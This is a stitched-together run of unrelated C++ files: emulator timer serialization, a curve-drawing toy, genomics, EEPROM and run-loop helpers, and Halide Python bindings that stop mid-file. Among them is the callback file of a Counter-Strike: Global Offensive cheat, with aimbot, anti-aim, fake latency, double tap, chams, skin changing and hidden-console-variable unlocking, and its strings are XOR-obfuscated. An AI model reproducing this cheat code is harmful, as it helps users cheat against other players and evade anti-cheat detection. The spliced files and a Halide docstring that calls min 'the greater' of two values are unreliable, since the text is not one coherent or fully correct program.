PushUint32(data,ch.RL); PushBool(data,ch.accessLow); } PushBool(data,state.TMMSK[0]); PushBool(data,state.TMMSK[1]); PushBool(data,state.TMOUT[0]); PushBool(data,state.TMOUT[1]); PushBool(data,state.SOUND); PushBool(data,state.SOUND_MEMIO); PushUint32(data,state.buzzerPhase); } /* virtual */ bool TownsTimer::SpecificDeserialize(const unsigned char *&data,std::string stateFName,uint32_t version) { state.lastTickTimeInNS=ReadUint64(data); for(auto &ch : state.channels) { ch.mode=ReadUint16(data); ch.lastCmd=ReadUint16(data); ch.counter=ReadUint16(data); ch.counterInitialValue=ReadUint16(data); ch.latchedCounter=ReadUint16(data); ch.increment=ReadUint16(data); ch.OUT=ReadBool(data); ch.counting=ReadBool(data); ch.latched=ReadBool(data); ch.bcd=ReadBool(data); ch.RL=ReadUint32(data); ch.accessLow=ReadBool(data); } state.TMMSK[0]=ReadBool(data); state.TMMSK[1]=ReadBool(data); state.TMOUT[0]=ReadBool(data); state.TMOUT[1]=ReadBool(data); state.SOUND=ReadBool(data); state.SOUND_MEMIO=ReadBool(data); state.buzzerPhase=ReadUint32(data); return true; } apps/dev/toy_draw_curves.cpp10-100 /* Simple app to debug/draw individual curves */ // Polyvec #include #include #include #include #include "../dev/drawing.hpp" // libc++ #include using namespace std; using namespace polyvec; using namespace polyfit; #define CANVAS_SIZE 32 #define CURVE_STYLE 2.5, colors::turtle_purple #define CONTROL_POLYGON_STYLE Style::outline(colors::talking_orange, 2.5) #define WRITE_FILE(uri) "D:/data/polyvec/out/" uri ".svg" double evaluate_curvature_variation(BezierCurve& curve) { std::shared_ptr curve_ptr = make_shared(curve); GlobFitBezierAngleBasedParametrization curve_param(curve_ptr); GlobFitObjective_CurvatureVariation opt_obj; opt_obj.set_params(&curve_param); vecXd obj; matXd jac; opt_obj.compute_objective_and_jacobian(obj, jac); printf("total curvature variation %f\n", obj.norm()); return obj.norm(); } void draw_curve(const char* uri, GlobFitCurve& c) { DevicePDF* pdf = new DevicePDF(uri, 1, 1); mat24 B; B.col(0) = vec2(0., 0.); B.col(1) = vec2(CANVAS_SIZE, 0.); B.col(2) = vec2(CANVAS_SIZE, CANVAS_SIZE); B.col(3) = vec2(0., CANVAS_SIZE); draw_raster_background(B, Style::outline(colors::gray * 1.75, 2.5)); if (c.get_type() == GLOBFIT_CURVE_BEZIER) { BezierCurve& bez = dynamic_cast(c); draw::line(bez.get_control_points().col(0), bez.get_control_points().col(1), CONTROL_POLYGON_STYLE); draw::line(bez.get_control_points().col(1), bez.get_control_points().col(2), CONTROL_POLYGON_STYLE); draw::line(bez.get_control_points().col(2), bez.get_control_points().col(3), CONTROL_POLYGON_STYLE); } const double k_variation = evaluate_curvature_variation(dynamic_cast(c)); draw::text(c.pos(.5), to_string(k_variation), draw::font_pdf, Style::text()); draw::curve(&c, CURVE_STYLE); pdf->draw(0, 0); delete pdf; } int main(int argc, char* argv) { BezierCurve bez; mat24 cp; { cp.col(0) << 27.448683, 9.816228; cp.col(1) << 24.602633, 8.867544; cp.col(2) << 24.288854, 10.394427; cp.col(3) << 21.605573, 9.052786; bez.set_control_points(cp); draw_curve(WRITE_FILE("bez00"), bez); polyvec::CurveTracer::minimize_curvature_variation_coordinate_descent(bez); draw_curve(WRITE_FILE("bez01"), bez); } { cp.col(0) << 21.605573, 18.947214; cp.col(1) << 24.288854, 17.605573; cp.col(2) << 24.602633, 19.132456; cp.col(3) << 27.448683, 18.183772; bez.set_control_points(cp); draw_curve(WRITE_FILE("bez10"), bez); polyvec::CurveTracer::minimize_curvature_variation_coordinate_descent(bez); draw_curve(WRITE_FILE("bez11"), bez); } return EXIT_SUCCESS; }#include "includes.h" // execution callbacks.. void callbacks::SkinUpdate() { g_skins.m_update = true; } void callbacks::ForceFullUpdate() { g_csgo.m_cl->m_delta_tick = -1; } void callbacks::ToggleThirdPerson() { g_visuals.m_thirdperson = !g_visuals.m_thirdperson; } bool callbacks::FOVOverride() { return g_menu.main.misc.fov.get(); } bool callbacks::ViewFOVOverride() { return g_menu.main.misc.viewmodel_override.get(); } void callbacks::ToggleFakeLatency() { g_aimbot.m_fake_latency = !g_aimbot.m_fake_latency; } void callbacks::ToggleKillfeed() { KillFeed_t* feed = (KillFeed_t*)g_csgo.m_hud->FindElement(HASH("SFHudDeathNoticeAndBotStatus")); if (feed) g_csgo.ClearNotices(feed); } void callbacks::SaveHotkeys() { g_config.SaveHotkeys(); } //manual void callbacks::ToggleLeft( ) { g_hvh.m_left = !g_hvh.m_left; g_hvh.m_right = false; g_hvh.m_back = false; } void callbacks::ToggleRight( ) { g_hvh.m_right = !g_hvh.m_right; g_hvh.m_left = false; g_hvh.m_back = false; } void callbacks::ToggleBack( ) { g_hvh.m_back = !g_hvh.m_back; g_hvh.m_left = false; g_hvh.m_right = false; } void callbacks::ConfigLoad1() { g_config.load(&g_menu.main, XOR("1.cfg")); g_menu.main.config.config.select(1 - 1); g_cl.print(tfm::format(XOR("loaded config 1\n"))); } void callbacks::ConfigLoad2() { g_config.load(&g_menu.main, XOR("2.cfg")); g_menu.main.config.config.select(2 - 1); g_cl.print(tfm::format(XOR("loaded config 2\n"))); } void callbacks::ConfigLoad3() { g_config.load(&g_menu.main, XOR("3.cfg")); g_menu.main.config.config.select(3 - 1); g_cl.print(tfm::format(XOR("loaded config 3\n"))); } void callbacks::ConfigLoad4() { g_config.load(&g_menu.main, XOR("4.cfg")); g_menu.main.config.config.select(4 - 1); g_cl.print(tfm::format(XOR("loaded config 4\n"))); } void callbacks::ConfigLoad5() { g_config.load(&g_menu.main, XOR("5.cfg")); g_menu.main.config.config.select(5 - 1); g_cl.print(tfm::format(XOR("loaded config 5\n"))); } void callbacks::ConfigLoad6() { g_config.load(&g_menu.main, XOR("6.cfg")); g_menu.main.config.config.select(6 - 1); g_cl.print(tfm::format(XOR("loaded config 6\n"))); } void callbacks::ConfigLoad() { std::string config = g_menu.main.config.config.GetActiveItem(); std::string file = tfm::format(XOR("%s.cfg"), config.data()); g_config.load(&g_menu.main, file); g_cl.print(tfm::format(XOR("loaded config %s\n"), config.data())); } void callbacks::ConfigSave() { std::string config = g_menu.main.config.config.GetActiveItem(); std::string file = tfm::format(XOR("%s.cfg"), config.data()); g_config.save(&g_menu.main, file); g_cl.print(tfm::format(XOR("saved config %s\n"), config.data())); } void callbacks::HiddenCvar() { g_cl.UnlockHiddenConvars(); } void callbacks::ToggleLeftSide() { g_hvh.angle_side = 1; } void callbacks::ToggleRightSide() { g_hvh.angle_side = 2; } void callbacks::ToggleBackSide() { g_hvh.angle_side = 3; } bool callbacks::IsBaimHealth() { return g_menu.main.aimbot.baim2.get(1); } bool callbacks::IsAfterMisses() { return (g_menu.main.aimbot.baim2.get(4) || g_menu.main.aimbot.baim1.get(5)); } bool callbacks::IsFovOn() { return g_menu.main.aimbot.fov.get(); } bool callbacks::IsHitchanceOn() { return g_menu.main.aimbot.hitchance.get(); } bool callbacks::IsPenetrationOn() { return g_menu.main.aimbot.penetrate.get(); } bool callbacks::IsMultipointOn() { return !g_menu.main.aimbot.multipoint.GetActiveIndices().empty(); } bool callbacks::IsMultipointBodyOn() { return g_menu.main.aimbot.multipoint.get(2); } bool callbacks::IsAntiAimModeStand() { return g_menu.main.antiaim.mode.get() == 0; } bool callbacks::HasStandYaw() { return g_menu.main.antiaim.yaw_stand.get() > 0; } bool callbacks::IsCustomPitch() { return g_menu.main.antiaim.pitch_fake_stand.get() == 3; } bool callbacks::IsStandYawJitter() { return g_menu.main.antiaim.yaw_stand.get() == 2; } bool callbacks::IsStandYawRotate() { return g_menu.main.antiaim.yaw_stand.get() == 3; } bool callbacks::IsStandYawRnadom() { return g_menu.main.antiaim.yaw_stand.get() == 4; } bool callbacks::IsStandDirAuto() { return g_menu.main.antiaim.dir_stand.get() == 0; } bool callbacks::IsStandDirCustom() { return g_menu.main.antiaim.dir_stand.get() == 4; } bool callbacks::IsAntiAimModeWalk() { return g_menu.main.antiaim.mode.get() == 1; } bool callbacks::WalkHasYaw() { return g_menu.main.antiaim.yaw_walk.get() > 0; } bool callbacks::IsWalkYawJitter() { return g_menu.main.antiaim.yaw_walk.get() == 2; } bool callbacks::IsWalkYawRotate() { return g_menu.main.antiaim.yaw_walk.get() == 3; } bool callbacks::IsWalkYawRandom() { return g_menu.main.antiaim.yaw_walk.get() == 4; } bool callbacks::IsWalkDirAuto() { return g_menu.main.antiaim.dir_walk.get() == 0; } bool callbacks::IsWalkDirCustom() { return g_menu.main.antiaim.dir_walk.get() == 4; } bool callbacks::IsAntiAimModeAir() { return g_menu.main.antiaim.mode.get() == 2; } bool callbacks::AirHasYaw() { return g_menu.main.antiaim.yaw_air.get() > 0; } bool callbacks::IsAirYawJitter() { return g_menu.main.antiaim.yaw_air.get() == 2; } bool callbacks::IsAirYawRotate() { return g_menu.main.antiaim.yaw_air.get() == 3; } bool callbacks::IsAirYawRandom() { return g_menu.main.antiaim.yaw_air.get() == 4; } bool callbacks::IsAirDirAuto() { return g_menu.main.antiaim.dir_air.get() == 0; } bool callbacks::IsAirDirCustom() { return g_menu.main.antiaim.dir_air.get() == 4; } bool callbacks::IsFakeAntiAimRelative() { return g_menu.main.antiaim.fake_yaw.get() == 2; } bool callbacks::IsTransparentProps() { return g_menu.main.visuals.transparent_props.get(); } bool callbacks::IsNightMode() { return g_menu.main.visuals.world.get() == 1; } bool callbacks::IsSkyBoxChange() { return g_menu.main.misc.skyboxchange.get(); } bool callbacks::IsDamageVisible() { return g_menu.main.aimbot.minimal_damage.get() == 1; } bool callbacks::IsCustomLby() { return g_menu.main.antiaim.body_fake_stand.get() == 5; } bool callbacks::IsDamageInVisible() { return g_menu.main.aimbot.penetrate_minimal_damage.get() == 1; } bool callbacks::IsFakeAntiAimJitter() { return g_menu.main.antiaim.fake_yaw.get() == 3; } bool callbacks::IsConfigMM() { return g_menu.main.config.mode.get() == 0; } bool callbacks::IsConfigNS() { return g_menu.main.config.mode.get() == 1; } bool callbacks::IsConfig1() { return g_menu.main.config.config.get() == 0; } bool callbacks::IsConfig2() { return g_menu.main.config.config.get() == 1; } bool callbacks::IsConfig3() { return g_menu.main.config.config.get() == 2; } bool callbacks::IsConfig4() { return g_menu.main.config.config.get() == 3; } bool callbacks::IsConfig5() { return g_menu.main.config.config.get() == 4; } bool callbacks::IsConfig6() { return g_menu.main.config.config.get() == 5; } // weaponcfgs callbacks. bool callbacks::DEAGLE() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::DEAGLE; } bool callbacks::ELITE() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::ELITE; } bool callbacks::FIVESEVEN() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::FIVESEVEN; } bool callbacks::GLOCK() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::GLOCK; } bool callbacks::AK47() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::AK47; } bool callbacks::AUG() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::AUG; } bool callbacks::AWP() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::AWP; } bool callbacks::FAMAS() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::FAMAS; } bool callbacks::G3SG1() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::G3SG1; } bool callbacks::GALIL() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::GALIL; } bool callbacks::M249() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::M249; } bool callbacks::M4A4() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::M4A4; } bool callbacks::MAC10() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::MAC10; } bool callbacks::P90() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::P90; } bool callbacks::UMP45() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::UMP45; } bool callbacks::XM1014() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::XM1014; } bool callbacks::BIZON() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::BIZON; } bool callbacks::MAG7() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::MAG7; } bool callbacks::NEGEV() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::NEGEV; } bool callbacks::SAWEDOFF() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::SAWEDOFF; } bool callbacks::TEC9() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::TEC9; } bool callbacks::P2000() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::P2000; } bool callbacks::MP7() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::MP7; } bool callbacks::MP9() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::MP9; } bool callbacks::NOVA() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::NOVA; } bool callbacks::P250() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::P250; } bool callbacks::SCAR20() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::SCAR20; } bool callbacks::SG553() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::SG553; } bool callbacks::SSG08() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::SSG08; } bool callbacks::M4A1S() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::M4A1S; } bool callbacks::USPS() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::USPS; } bool callbacks::CZ75A() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::CZ75A; } bool callbacks::REVOLVER() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::REVOLVER; } bool callbacks::KNIFE_BAYONET() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::KNIFE_BAYONET; } bool callbacks::KNIFE_FLIP() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::KNIFE_FLIP; } bool callbacks::KNIFE_GUT() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::KNIFE_GUT; } bool callbacks::KNIFE_KARAMBIT() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::KNIFE_KARAMBIT; } bool callbacks::KNIFE_M9_BAYONET() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::KNIFE_M9_BAYONET; } bool callbacks::KNIFE_HUNTSMAN() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::KNIFE_HUNTSMAN; } bool callbacks::KNIFE_FALCHION() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::KNIFE_FALCHION; } bool callbacks::KNIFE_BOWIE() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::KNIFE_BOWIE; } bool callbacks::KNIFE_BUTTERFLY() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::KNIFE_BUTTERFLY; } bool callbacks::KNIFE_SHADOW_DAGGERS() { if (!g_csgo.m_engine->IsInGame() || !g_cl.m_processing) return false; return g_cl.m_weapon_id == Weapons_t::KNIFE_SHADOW_DAGGERS; } void callbacks::ToggleBAIM() { g_aimbot.m_baim_toggle = !g_aimbot.m_baim_toggle; } bool callbacks::IsOverrideDamage() { return g_menu.main.aimbot.override_dmg_key.get() != -1; } void callbacks::ToggleDMG() { g_aimbot.m_damage_toggle = !g_aimbot.m_damage_toggle; } void callbacks::ToggleDT() { g_aimbot.m_double_tap = !g_aimbot.m_double_tap; } bool callbacks::AUTO_STOP() { return !g_menu.main.movement.autostop_always_on.get(); } bool callbacks::IsFakeChams() { return g_menu.main.visuals.chams_fake.get(); } bool callbacks::IsLocalChams() { return g_menu.main.players.chams_local.get(); }/* * Copyright 2018 Google Inc. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * 3. Neither the name of the copyright holder nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * */ #include "third_party/nucleus/io/hts_path.h" #include #include "htslib/faidx.h" #include "htslib/hts.h" #include "tensorflow/core/lib/strings/strcat.h" using tensorflow::strings::StrCat; using tensorflow::string; namespace nucleus { const char dflt[] = ""; // Use the default file scheme, unless one is provided. string fix_path(const char *path) { string s(path); size_t i = s.find(':'); if (i > 0 && i < 20) { return s; } return StrCat(dflt, s); } htsFile *hts_open_x(const char *path, const char *mode) { string new_path = fix_path(path); return hts_open(new_path.c_str(), mode); } faidx_t *fai_load3_x(const char *fa, const char *fai, const char *gzi, int flags) { string nfa = fix_path(fa); string nfai = fix_path(fai); string ngzi = fix_path(gzi); return fai_load3(fa ? nfa.c_str() : nullptr, fai ? nfai.c_str() : nullptr, gzi ? ngzi.c_str() : nullptr, flags); } } // namespace nucleus #include "broked/broked.h" int main(int argc, char* argv[]) { bd::subscriber sub; sub.on("fib", [](bd::task t) { using bd::serializers::text; int n = bd::get(t.data); auto f1 = bd::async("fib", n - 1); auto f2 = bd::async("fib", n - 2); return bd::wait_all(f1, f2, [](bd::result r1, bd::result r2) { return { bd::get(r1.data) + bd::get(r2.data) }; }); }); } gitcorrot/Kwiatonomous-v2 #include "DataManager.h" DataManager::DataManager() {} void DataManager::init() {} void DataManager::setWiFiConfiguration(WiFiConfiguration *wifiConfiguration) { Serial.println("\n> DataManager::setWiFiConfiguration"); EEPROM.begin(64); delay(10); EEPROM.put(WIFI_CONFIGURATION_ADDRESS, *wifiConfiguration); delay(10); EEPROM.end(); } void DataManager::getWiFiConfiguration(WiFiConfiguration *wifiConfiguration) { Serial.println("\n> DataManager::getWiFiConfiguration"); EEPROM.begin(64); delay(10); EEPROM.get(WIFI_CONFIGURATION_ADDRESS, *wifiConfiguration); EEPROM.end(); } void DataManager::setDeviceConfiguration(DeviceConfiguration *deviceConfiguration) { Serial.println("\n> DataManager::setDeviceConfiguration"); // Checking if the data isn't the same is built in 'EEPROM.put()' function EEPROM.begin(128); delay(10); EEPROM.put(DEVICE_CONFIGURATION_ADDRESS, *deviceConfiguration); delay(10); EEPROM.end(); } void DataManager::getDeviceConfiguration(DeviceConfiguration *deviceConfiguration) { Serial.println("\n> DataManager::getDeviceConfiguration"); EEPROM.begin(128); delay(10); EEPROM.get(DEVICE_CONFIGURATION_ADDRESS, *deviceConfiguration); EEPROM.end(); } void DataManager::increaseFailuresCount() { Serial.println("\n> DataManager::increaseFailuresCount"); uint16_t failuresCount = 0; EEPROM.begin(128); delay(10); EEPROM.get(FAILURES_COUNT_ADDRESS, failuresCount); EEPROM.put(FAILURES_COUNT_ADDRESS, failuresCount + 1); delay(10); EEPROM.end(); } uint16_t DataManager::getFailuresCount() { Serial.println("\n> DataManager::getFailuresCount"); uint16_t failuresCount = 0; EEPROM.begin(128); delay(10); EEPROM.get(FAILURES_COUNT_ADDRESS, failuresCount); EEPROM.end(); return failuresCount; } void DataManager::resetFailuresCount() { Serial.println("\n> DataManager::resetFailuresCount"); EEPROM.begin(128); delay(10); EEPROM.put(FAILURES_COUNT_ADDRESS, 0); EEPROM.end(); } void DataManager::clearAll() { Serial.println("\n> DataManager::clearAll"); EEPROM.begin(2048); delay(10); for (int i = 0; i < 2048; ++i) { EEPROM.write(i, 0); } delay(10); EEPROM.end(); } #include "DefaultRunloop.hpp" #include "fdxx/Logger.hpp" using fdxx::DefaultRunloop; using fdxx::Event; using fdxx::Handler; using fdxx::LogAdapter; DefaultRunloop::DefaultRunloop(std::string name, std::shared_ptr logAdapter) : name_(std::move(name)), log_{std::move(logAdapter)}, epoll_{log_} { } DefaultRunloop::~DefaultRunloop() { if (running_) { running_ = false; th_.join(); } } void DefaultRunloop::start() { LOG_INFO(log_) << "runner: " << name_ << " starting ..."; std::thread th([this]() { run(); }); th.swap(th_); } void DefaultRunloop::stop() { if (running_) { LOG_INFO(log_) << "runner: " << name_ << " stopping ..."; running_ = false; th_.join(); } } void DefaultRunloop::run() { constexpr int pollingTime{10}; running_ = true; while (running_) { epoll_.process(pollingTime); } } void DefaultRunloop::add(std::shared_ptr handler, const Event event) { return epoll_.add(std::move(handler), event); } void DefaultRunloop::del(std::shared_ptr handler) { return epoll_.del(std::move(handler)); } Trass3r/Halide0 #include "PyIROperator.h" namespace Halide { namespace PythonBindings { namespace { Expr reinterpret0(Type t, Expr e) { return reinterpret(t, e); } Expr cast0(Type t, Expr e) { return Halide::cast(t, e); } Expr select0(Expr condition, Expr true_value, Expr false_value) { return select(condition, true_value, false_value); } Expr select1(Expr c1, Expr v1, Expr c2, Expr v2, Expr default_val) { return select(c1, v1, c2, v2, default_val); } Expr select2(Expr c1, Expr v1, Expr c2, Expr v2, Expr c3, Expr v3, Expr default_val) { return select(c1, v1, c2, v2, c3, v3, default_val); } Expr select3(Expr c1, Expr v1, Expr c2, Expr v2, Expr c3, Expr v3, Expr c4, Expr v4, Expr default_val) { return select(c1, v1, c2, v2, c3, v3, c4, v4, default_val); } Expr select4(Expr c1, Expr v1, Expr c2, Expr v2, Expr c3, Expr v3, Expr c4, Expr v4, Expr c5, Expr v5, Expr default_val) { return select(c1, v1, c2, v2, c3, v3, c4, v4, c5, v5, default_val); } Expr select5(Expr c1, Expr v1, Expr c2, Expr v2, Expr c3, Expr v3, Expr c4, Expr v4, Expr c5, Expr v5, Expr c6, Expr v6, Expr default_val) { return select(c1, v1, c2, v2, c3, v3, c4, v4, c5, v5, c6, v6, default_val); } Expr select6(Expr c1, Expr v1, Expr c2, Expr v2, Expr c3, Expr v3, Expr c4, Expr v4, Expr c5, Expr v5, Expr c6, Expr v6, Expr c7, Expr v7, Expr default_val) { return select(c1, v1, c2, v2, c3, v3, c4, v4, c5, v5, c6, v6, c7, v7, default_val); } std::vector tuple_to_exprs(py::tuple t) { const size_t c = py::len(t); std::vector exprs; exprs.reserve(c); for (size_t i = 0; i < c; i += 1) { py::object o = t[i]; Expr e; py::extract expr_extract(o); if (expr_extract.check()) { e = expr_extract(); } else { // Python 'str' is not implicitly convertible to Expr, // but in this context we want to explicitly check and convert. py::extract string_extract(o); if (string_extract.check()) { e = Expr(string_extract()); } else { const std::string o_str = py::extract(py::str(o)); throw std::invalid_argument("The value '" + o_str + "' is not convertible to Expr."); } } exprs.push_back(e); } return exprs; } py::object print(py::tuple args, py::dict kwargs) { return py::object(print(tuple_to_exprs(args))); } py::object print_when(py::tuple args, py::dict kwargs) { Expr condition = py::extract(args[0]); return py::object(print_when(condition, tuple_to_exprs(py::extract(args.slice(1, py::_))))); } Expr random_float0() { return random_float(); } Expr random_float1(Expr seed) { return random_float(seed); } Expr random_int0() { return random_int(); } Expr random_int1(Expr seed) { return random_int(seed); } Expr undef0(Type type) { return undef(type); } Expr memoize_tag0(Expr result, const std::vector &cache_key_values) { return memoize_tag(result, cache_key_values); } // py::def() doesn't allow specifying a docstring with raw_function(); // this is some simple sugar to allow for it. // TODO: unfortunately, using raw_function() means that we don't get // any free type info about the Python prototype look; we should // probably augment docstrings that use this appropriately. template py::object def_raw(const char *name, F f, size_t min_args, const char *docstring) { py::object o = py::raw_function(f, min_args); py::def(name, o); // Must call setattr *after* def py::setattr(o, "__doc__", py::str(docstring)); return o; } } // namespace void define_operators() { // defined in IROperator.h Expr (*max_exprs)(Expr, Expr) = &max; Expr (*max_expr_int)(Expr, int) = &max; Expr (*max_int_expr)(int, Expr) = &max; Expr (*min_exprs)(Expr, Expr) = &min; Expr (*min_expr_int)(Expr, int) = &min; Expr (*min_int_expr)(int, Expr) = &min; py::def("max", max_exprs, py::args("a", "b"), "Returns an expression representing the greater of the two " "arguments, after doing any necessary type coercion using " "Internal::match_types. Vectorizes cleanly on most platforms " "(with the exception of integer types on x86 without SSE4)."); py::def("max", max_expr_int, py::args("a", "b"), "Returns an expression representing the greater of an expression" " and a constant integer. The integer is coerced to the type of the" " expression. Errors if the integer is not representable as that" " type. Vectorizes cleanly on most platforms (with the exception of" " integer types on x86 without SSE4)."); py::def("max", max_int_expr, py::args("a", "b"), "Returns an expression representing the greater of a constant" " integer and an expression. The integer is coerced to the type of" " the expression. Errors if the integer is not representable as that" " type. Vectorizes cleanly on most platforms (with the exception of" " integer types on x86 without SSE4)."); py::def("min", min_exprs, py::args("a", "b"), "Returns an expression representing the greater of the two " "arguments, after doing any necessary type coercion using " "Internal::match_types. Vectorizes cleanly on most platforms " "(with the exception of integer types on x86 without SSE4)."); py::def("min", min_expr_int, py::args("a", "b"), "Returns an expression representing the lesser of an expression" " and a constant integer. The integer is coerced to the type of the" " expression. Errors if the integer is not representable as that" " type. Vectorizes cleanly on most platforms (with the exception of" " integer types on x86 without SSE4)."); py::def("min", min_int_expr, py::args("a", "b"), "Returns an expression representing the lesser of a constant" " integer and an expression. The integer is coerced to the type of" " the expression. Errors if the integer is not representable as that" " type. Vectorizes cleanly on most platforms (with the exception of" " integer types on x86 without SSE4)."); py::def("clamp", &clamp, py::args("a", "min_val", "max_val"), "Clamps an expression to lie within the given bounds. The bounds " "are type-cast to match the expression. Vectorizes as well as min/max."); py::def("abs", &abs, py::args("a"), "Returns the absolute value of a signed integer or floating-point " "expression. Vectorizes cleanly. Unlike in C, abs of a signed " "integer returns an unsigned integer of the same bit width. This " "means that abs of the most negative integer doesn't overflow."); py::def("absd", &absd, py::args("a", "b"), "Return the absolute difference between two values. Vectorizes " "cleanly. Returns an unsigned value of the same bit width. There are " "various ways to write this yourself, but they contain numerous " "gotchas and don't always compile to good code, so use this instead."); py::def("select", &select0, py::args("condition", "true_value", "false_value"), "Returns an expression similar to the ternary operator in C, except " "that it always evaluates all arguments. If the first argument is " "true, then return the second, else return the third. Typically " "vectorizes cleanly, but benefits from SSE41 or newer on x86."); py::def("select", &select1, py::args("c1", "v1", "c2", "v2", "default_val"), "A multi-way variant of select similar to a switch statement in C, " "which can accept multiple conditions and values in pairs. Evaluates " "to the first value for which the condition is true. Returns the " "final value if all conditions are false."); py::def("select", &select2, py::args( "c1", "v1", "c2", "v2", "c3", "v3", "default_val")); py::def("select", &select3, py::args( "c1", "v1", "c2", "v2", "c3", "v3", "c4", "v4", "default_val")); py::def("select", &select4, py::args( "c1", "v1", "c2", "v2", "c3", "v3", "c4", "v4", "c5", "v5", "default_val")); py::def("select", &select5, py::args( "c1", "v1", "c2", "v2", "c3", "v3", "c4", "v4", "c5", "v5", "c6", "v6", "default_val")); py::def("select", &select6, py::args( "c1", "v1", "c2", "v2", "c3", "v3", "c4", "v4", "c5", "v5", "c6", "v6", "c7", "v7", "default_val")); // sin, cos, tan @{ 